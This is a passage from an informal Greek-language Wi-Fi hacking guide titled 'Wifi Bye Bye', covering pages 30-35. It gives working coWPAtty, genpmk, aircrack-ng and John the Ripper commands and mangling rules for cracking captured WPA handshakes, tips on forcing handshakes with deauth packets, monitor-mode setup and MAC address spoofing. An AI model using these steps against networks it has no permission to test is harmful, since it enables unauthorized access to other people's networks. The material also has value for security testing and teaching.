Εναλλακτικά το coWPAtty μπορεί να χρησιμοποιήσει ένα αρχείο με προϋπολογισμένα hashes για να επιτεθεί σε ένα WPA key. Τα προϋπολογισμένα hash tables είναι μια τεχνική παρόμοια με αυτή των Rainbow Tables με την οποία μπορούμε να ελαττώσουμε το χρόνο που χρειάζεται για ένα πετυχημένο crack, με αντάλλαγμα το πολλές φορές τεράστιο μέγεθος των hash table files που ίσως χρειαστεί να κατεβάσουμε.

Στα αρχεία αυτά, τα προς δοκιμή κλειδιά αποθηκεύονται δίπλα-δίπλα με τα hashes τους, επιτρέποντας απλά να ψάξουμε για το hash που να ταιριάζει με το WPA key που έχουμε καταγράψει και αν το βρούμε, να έχουμε ουσιαστικά έτοιμο την passphrase σε plaintext. Εφόσον τα WPA keys είναι μείγμα αυτών και του SSID, η τεχνική αυτή δουλεύει μόνο για AP's με το ίδιο SSID που έχει χρησιμοποιηθεί για τον υπολογισμό των hash tables.

Τα hash tables λοιπόν μπορεί να είναι αποτελεσματικά αλλά απαιτούν αρκετό χώρο στο δίσκο για την αποθήκευσή τους. Η ..“εκκλησία” του WiFi (Church of WiFi) έκατσε και υπολόγισε τα hash tables για τα 1000 πιο κοινά SSID's απέναντι σε ένα εκατομμύριο κοινές passphrases.

Μπορείτε να δημιουργήσετε ένα hash table με το genpmk, το οποίο βρίσκεται στον ίδιο κατάλογο με το coWPAtty:

Γενική μορφή:

./genpmk -s AP_SID -f dictionary_file -d hash_output_file

Παράδειγμα:

./genpmk -s snb -f dict -d dict_hash

Τώρα χρησιμοποιώντας το νεογέννητο hash table, το crack είναι πιθανό να γίνει στο 1/1000 του αρχικού χρόνου.

Γενική μορφή:

./cowpatty -s AP_SID -d hash_output_file -r capture_file

Παράδειγμα:

./cowpatty -s snb -d dict_hash -r Kismet-Jan-15-2008-1.dump [περιεχόμενα]

Page 30: Wifi Bye Bye

Επεκτείνοντας το Crack

Η προφανής αδυναμία αυτών των τεχνικών είναι πως πρέπει το κλειδί να υπάρχει μέσα στο dictionary που θα χρησιμοποιηθεί για την επίθεση. Passphrases όπως “dinosaur” ή “my wpa key” εύκολα σπάνε με το coWPAtty ή το aircrack. Τι γίνεται όμως με φράσεις όπως “dinosaur52” ή “my Wp@ k3y”; Φαίνονται ασφαλείς μιας και σε ένα στάνταρ dictionary δεν υπάρχουν και για να τα σπάσουμε με bruteforce θα μας φάει μερικά εκατομμύρια χρόνια, αλλά δεν είναι!

Για να επεκτείνουμε τη λίστα των πιθανών κλειδιών, μπορούμε να χρησιμοποιήσουμε τους ..θρυλικούς (*)κανόνες (rules) του εργαλείου cracking για *NIX λειτουργικά John the Ripper(JtR). Με τους κανόνες αυτούς, μπορούμε να πάρουμε ένα κοινό dictionary και να κάθε λέξη του να την παραφράσουμε όπως νομίζουμε και μετά να τη δώσουμε ως input στο coWPAtty ή το aircrack-ng on the fly. (*) η ακριβής λέξη που χρησιμοποιείται για να περιγράψει αυτούς τους κανόνες είναι η “mangling” που σημαίνει “κατακρεουργώ”(!!!)

Όταν κάνουμε dictionary attacks, δεν χρειάζεται να ανησυχούμε για τυχόν μικρές passphrases που μπορεί να περιέχουν. Και το coWPAtty και το aircrack-ng είναι αρκετά έξυπνα ώστε να απορρίπτουν φράσεις με μήκος μικρότερο των 8 χαρακτήρων. Στην πραγματικότητα είναι καλό να τις αφήνουμε να υπάρχουν μιας και με τους mangling rules του JtR είναι πιθανό να γίνουν αρκετά μεγάλες και να ξεπεράσουν το όριο των οκτώ χαρακτήρων που χρειάζεται μια φράση για να είναι έγκυρη για το AP.

Χρησιμοποιώντας τους default mangling rules του John, μπορούμε μετά να τους εισάγουμε είτε στο coWPAtty, είτε στο aircrack-ng. ( /usr/local/john-1.7.2 BackTrack v3, και /pentest/password/john-1.7.2 στην v2):

Με το coWPAtty:

./john --wordlist=password_list --rules --stdout | cowpatty -s ssid -f - -r capture_file

Η χρησιμοποιώντας το aircrack-ng:

./john --wordlist=password_list --rules --stdout | aircrack-ng -e ssid -w - capture_file

Παράδειγμα:

./john --wordlist=password.lst --rules --stdout | aircrack-ng -e snb -w – Kismet-Jan-15-2008-1.dump

Ο John έρχεται με ένα ενσωματωμένο set από κανόνες το οποίο είναι αρκετά περιορισμένο, αλλά χρησιμοποιεί μια καλά documented "regex-esque" σύνταξη που μας επιτρέπει να ορίσουμε τους δικούς μας κανόνες.

Για παράδειγμα, οι default rules προσαρτούν μόνο έναν αριθμό στις λέξεις του dictionary. Μπορούμε να επεκτείνουμε το πλήθος των αριθμών προς προσάρτηση προσθέτοντας μερικές γραμμές στο αρχείο john.conf στο τέλος του section [List.Rules:Wordlist] (γραμμή 262) οι οποίες θα είναι κάπως έτσι:

$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]

Αυτό θα έχει ως αποτέλεσμα την προσάρτηση όλων των αριθμών μέχρι το 999 στο τέλος των λέξεων του dictionary (οπότε τώρα θα το dinosaur52 δεν είναι καθόλου δύσκολο να βρεθεί)

Παρομοίως μπορούμε μπορούμε να ορίσουμε κανόνες οι οποίοι θα “τακτοποιήσουν” το θέμα με τις κοινές αντικαταστάσεις γραμμάτων με αριθμούς ή άλλους χαρακτήρες. Πχ για τα “3” αντί “Ε” και “1” για “Ι” και μετά και για τις δύο αυτές αντικαταστάσεις: [περιεχόμενα]

Page 31: Wifi Bye Bye

sE3sl1sE3sl1

Μπορούμε να το πάμε ένα βήμα παραπέρα και να προσθέσουμε αριθμούς στο τέλος ώστε να “πιάσουμε” πράγματα όπως το “glid335” με το παρακάτω:

sE3$[0-9]sE3$[0-9]$[0-9]sE3$[0-9]$[0-9]$[0-9]sl1$[0-9]sl1$[0-9]$[0-9]sl1$[0-9]$[0-9]$[0-9]sE3sl1$[0-9]sE3sl1$[0-9]$[0-9]sE3sl1$[0-9]$[0-9]$[0-9]

Προφανώς αυτοί οι κανόνες μπορεί να γίνουν περίπλοκοι γρήγορα, αλλά επίσης μετατρέπουν ένα από dictionary σε ένα δυνατό όπλο απέναντι σε υποτιθέμενα ασφαλείς passphrases.

Η ερώτηση κλειδί

Τελικά πόσο μεγάλη και περίπλοκη χρειάζεται να μια passphrase είναι ώστε να θεωρηθεί ασφαλής; Η απάντηση είναι όσο μεγαλύτερη και πιο περίπλοκη γίνεται! Με τους κανόνες του JtR συστηματικά και έξυπνα μπορούμε να επιτεθούμε σε passphrases εισάγοντας κοινές αντικαταστάσεις και συνδυασμούς στις λέξεις απλών dictionaries. Φυσικά υπάρχουν και φράσεις που βασίζονται σε υπαρκτές λέξεις οι οποίες είναι δυνατόν να ξεφύγουν της προσοχής του John, αλλά στην τελική όλα είναι συνδυασμός απλών κανόνων ώστε να “πιαστούν” και αυτές στα δίχτυα του.

Η απλή wordlist που έρχεται μαζί με το coWPAtty περιέχει 10.201 λέξεις. Μετά απο επεξεργασία με τον John ο αριθμός αυτός μεγεθύνεται στον αριθμό 489.989. Προσθέτουμε και τους κανόνες που γράψαμε πιο πάνω και ο αριθμός αυτός εκτινάσσεται στο 45.720.022! Όσο περισσότεροι οι κανόνες, τόσο περισσότερο ο χώρος των πιθανών φράσεων που δοκιμάζουμε επεκτείνεται.

Αυτός ο αριθμός είναι ακόμη πολύ μακρυά από τους έξη τετράκις πιθανούς συνδυασμούς που υπάρχουν out there. Αλλά αυτό που κάνει επικίνδυνη την τακτική αυτή, είναι πως αρχίζοντας από μια περιορισμένη λίστα λέξεων και χρησιμοποιώντας μια “ανθρώπινη” προσέγγιση ώστε να κάνουμε αυτές τις λέξεις περισσότερο περίπλοκες, οι πιθανότητες είναι πιο πολλές δοκιμάζοντας 45 εκατομμύρια στοχευμένων passphrases να φανούμε τυχεροί, παρά να περιμένουμε τις 6 τετράκις δοκιμές εις αεί...

Ακόμη και αν μας πάρει μερικές μέρες ώστε να δοκιμάσουμε και τους 45 εκατομμύρια πιθανούς συνδυασμούς μας, πράγμα το οποίο δεν είναι ακριβώς η ταχύτητα του φωτός, από τη στιγμή που θα έχουμε καταγράψει παθητικά τη WPA passphrase μέχρι τι στιγμή που θα το έχει πάρει χαμπάρι το “θύμα”, μάλλον θα είναι αργά..

13. ...μόνο εμπόδια

Δεν μπορώ να καταγράψω την Four-way Handshake!

Opening psk-01.cap Opening psk-02.cap Opening psk-03.cap Opening psk-04.cap Read 1827 packets.

No valid WPA handshakes found.

[περιεχόμενα]

Page 32: Wifi Bye Bye

Μερικές φορές δεν είναι τόσο απλό να καταγράψουμε την four-way handshake. Γι'αυτό λοιπόν ας δούμε μερικά βοηθητικά tips:

• H κάρτα πρέπει να είναι στο ίδιο mode με του client και του AP. Οπότε, για παράδειγμα, εάν η κάρτα μας είναι σε “Β” mode και του client/AP σε “G”, τότε δε θα είναι δυνατή η καταγραφή της handshake. Αυτό αφορά ιδιαιτέρως καινούργια APs και clients που ίσως έχουν κάποιο “turbo” mode ή νεώτερα πρωτόκολλα. Κάποιοι drivers επιτρέπουν την αλλαγή του mode και επίσης το iwconfig μπορεί να αλλάξει το mode αυτό της κάρτας (βλ. Άχρηστες πληροφορίες κ πηγές για τα βασικά του iwconfig). Ενημερωτικά 1, 2, 5.5 και 11Mbit είναι “Β” ενώ 6, 9, 12, 18, 24, 36, 48, 54Mbit είναι “G”..

• Μερικές φορές ίσως είναι απαραίτητο να θέσουμε την κάρτα μας στην ίδια ταχύτητα με το AP πχ auto, 1MB, 2MB, 11MB, 54MB κλπ

• Σιγουρευτείτε πως η κάρτα είναι κλειδωμένη στο ίδιο κανάλι με του AP. Μπορείτε να το κάνετε βάζοντας την παράμετρο ”-c <channel of AP>” όταν ξεκινάτε το airodump-ng.

• Σιγουρευτείτε πως δεν τρέχουν τπτ network/connection managers καθώς αυτοί μπορεί να αλλάζουν το κανάλι και το mode της κάρτας χωρίς να το καταλαβαίνετε.

• Σιγουρευτείτε πως είστε αρκετά κοντά ώστε να λαμβάνετε τα πακέτα και του AP και του client• Εάν είστε πολύ κοντά τότε τα πακέτα μπορεί να είναι χαλασμένα (corrupted) και να απορριφθούν.• Χρησιμοποιείστε τους κατάλληλους drivers, μιας και ανάλογα με τον driver, κάποιοι παλιότεροι δεν

καταγράφουν όλα τα πακέτα.• Ιδεατά μιλώντας, προσπαθήστε να συνδέσετε έναν client και μετά να τον αποσυνδέσετε ώστε να αρχίσει

μια νέα handshake.• Εάν χρησιμοποιήσετε την deauth τεχνική, στείλτε μόνο τον απαραίτητο αριθμό πακέτων που θα κάνει

τον client να επανασυνδεθεί. Κανονικά χρειάζεται μόνο ένα deauth πακέτο. Στέλνοντας πολλά deauth πακέτα μπορεί να κάνουμε τον client να αποτύχει στην επανασύνδεση και συνεπώς δε θα λάβουμε καμία four-way handshake. Επίσης χρησιμοποιείστε deauths προς συγκεκριμένους clients και όχι γενικά με broadcasting. Για να επιβεβαιώσετε πως ο client έχει λάβει το deauth πακέτο, χρησιμοποιήστε το tcpdump ή το wireshark ώστε να δείτε το ACK πακέτο που θα στείλει ο client αυτός. Εάν δεν λάβετε ένα τέτοιο πακέτο, τότε ο client δεν “άκουσε” το deauthentication πακέτο.

• Ελέγξτε τα δεδομένα που καταγράψατε χρησιμοποιώντας το WPA Packet Capture Explained tutorial για να δείτε εάν μπορείτε να προσδιορίσετε το πρόβλημα όπως πχ έλλειψη πακέτων του AP ή του client κλπ κλπ

Δυστυχώς κάποιες φορές χρειάζεται να πειραματιστούμε λίγο ώστε να κάνουμε την κάρτα μας να καταγράψει σωστά την four-way handshake. Εάν δεν το πετύχουμε την πρώτη φορά, με λίγη υπομονή και όρεξη για δοκιμές, θα τα καταφέρουμε.

Για να μπούμε στα βαθιά της ανάλυσης των πακέτων, πρέπει να ξεκινήσουμε το airodump-ng χωρίς το BSSID φίλτρο και να θέσουμε την καταγραφή των πακέτων στο φούλ και όχι μόνο στα IV's. Φυσικά πρέπει να είμαστε στο ίδιο κανάλι με του AP. Ο λόγος για τον οποίο χρειάζεται να απενεργοποιήσουμε το BSSID φίλτρο είναι για να διασφαλίσουμε πως όλα τα πακέτα, μαζί με τα acknowledgements (ACKs), καταγράφονται. Χρησιμοποιώντας το BSSID φίλτρο, συγκεκριμένα πακέτα παραλείπονται από το airodump.

14. Άχρηστες πληροφορίες και πηγέςΕνεργοποίηση monitor mode σε άλλα chipsets πέραν του atheros:

πρώτα ρίχνουμε το interface: airmon-ng stop [interface]ifconfig [interface] down

Intel® PRO/Wireless 3945ABG modprobe -r iwl3945 modprobe ipwraw modprobe iwl3945

[περιεχόμενα]

Page 33: Wifi Bye Bye

Intel® PRO/Wireless 2100/2200modprobe -r ipw2100/2200modprobe ipwrawmodprobe ipw2100/2200

μετά ανεβάζουμε ξανά το interface: ifconfig [interface] upairmon-ng start [interface]

πρέπει να δούμε στην οθόνη: (monitor mode enabled)

-todo-

Σύνδεση σε open wep wlan (dhcp):iwconfig [interface] mode managed key [WEP key] (128 bit WEP - 26 hex χαρακτήρες, 64 bit WEP - 10)

iwconfig essid [ESSID] (το όνομα ESSID του δικτύου που θα συνδεθούμε)

dhclient [interface] (για να λάβουμε IP address, netmask, DNS server & default gateway από το ΑP)

Σύνδεση σε open wep wlan (manual):iwconfig [interface] mode managed key [WEP key] (128 bit WEP use 26 hex characters, 64 bit WEP uses 10)

iwconfig essid "[ESSID]"ifconfig [interface] [IP address] netmask [subnetmask]route add default gw [IP of default gateway] (default gateway, συνήθως η IP του Access Point) echo nameserver [IP address of DNS server] >> /etc/resolve.conf (Configure DNS server)

χρήσιμες εντολές

Madwifi-ng Commands:Το madwifi υποστηρίζει εικονικά access points (VAPS), που σημαίνει πως μπορεί να υπάρχουν περισσότερες από μια wireless συσκευές για κάθε wireless κάρτα. (wireless card = wifi0)

wlanconfig athx destroy (σβήστε το athx VAP)

wlanconfig athx create wlandev wifi0 wlanmode [sta|adhoc|ap|monitor] όπου athx το VAP που θέλετε να φτιάξετε

ifconfig Commands:ifconfig [interface] up (ανεβάζει το interface)ifconfig [interface] down (κατεβάζει το interface)ifconfig [interface] [IP address] netmask [subnet-mask] (χειροκίνητα IP και subnet-mask)ifconfig [interface] hw ether [MAC] (Αλλαγή της mac address μιας wireless κάρτας) [περιεχόμενα]

Page 34: Wifi Bye Bye

iwconfig Commands:iwconfig [interface] mode [master|managed|adhoc|monitor]iwconfig [interface] essid [any|“essid”]iwconfig [interface] key [hex|s:ascii|off|open]iwconfig [interface] channel [#|auto]iwconfig [interface] freq 2.422G iwconfig [interface] ap [mac address]iwconfig [interface] rate [auto|#M]

iwpriv Commands:iwpriv [interface] monitor [A] [B]

[A]0 = disable monitor mode1 = enable monitor mode with Prism2 header 2 = enable monitor mode with no Prism2

[B] Channel to monitor (1-14)

mac address vendor list

00:11:2F ASUSTek Computer Inc.00:11:25 Cisco Systems00:11:20 IBM Corporation00:11:22 Cimsys00:11:95 D-Link00:11:98 PrismMedia00:0C:87 Amd00:0C:F1 Intel

http://anonsvn.wireshark.org/wireshark/trunk/manuf

Πηγές

e-booksSohail/Vivek: Caffe-Latte attack hakin9: WiFi SecurityBittau/Handley/Lackey: The final nail in wep's coffinΒittau:Fragmentation Attack in PracticeFoundstone (antoniewitz): 802.11 AttacksLevente Buttyán/László Dóra: WiFi Security – WEP and 802.11iRichard Yang:Security and Cooperation in Wireless and Mobile NetworksPyshkin/Tews/Weinmann:Breaking 104 bit WEP in less than 60 secondsChanghua/Mitchell: Analysis of the 802.11i 4-Way HandshakePGP corp: Introduction to cryptographyLogicallysecure:Wireless linux commands

websitesWikipediaAicrack-ng wikiwi-fiplanet.cominfoworld.comairtightnetworks.comremote-exploit.orgmadwifi.org [περιεχόμενα]

Page 35: Wifi Bye Bye

lifehack.wskismetwireless.net

άδεια χρήσης: OMA2CT (Only Metallers are Allowed to Change This) :P αν δε σας αρέσει χρησιμοποιήστε καμιά CC φλώροι (non-commercial ε)

[περιεχόμενα]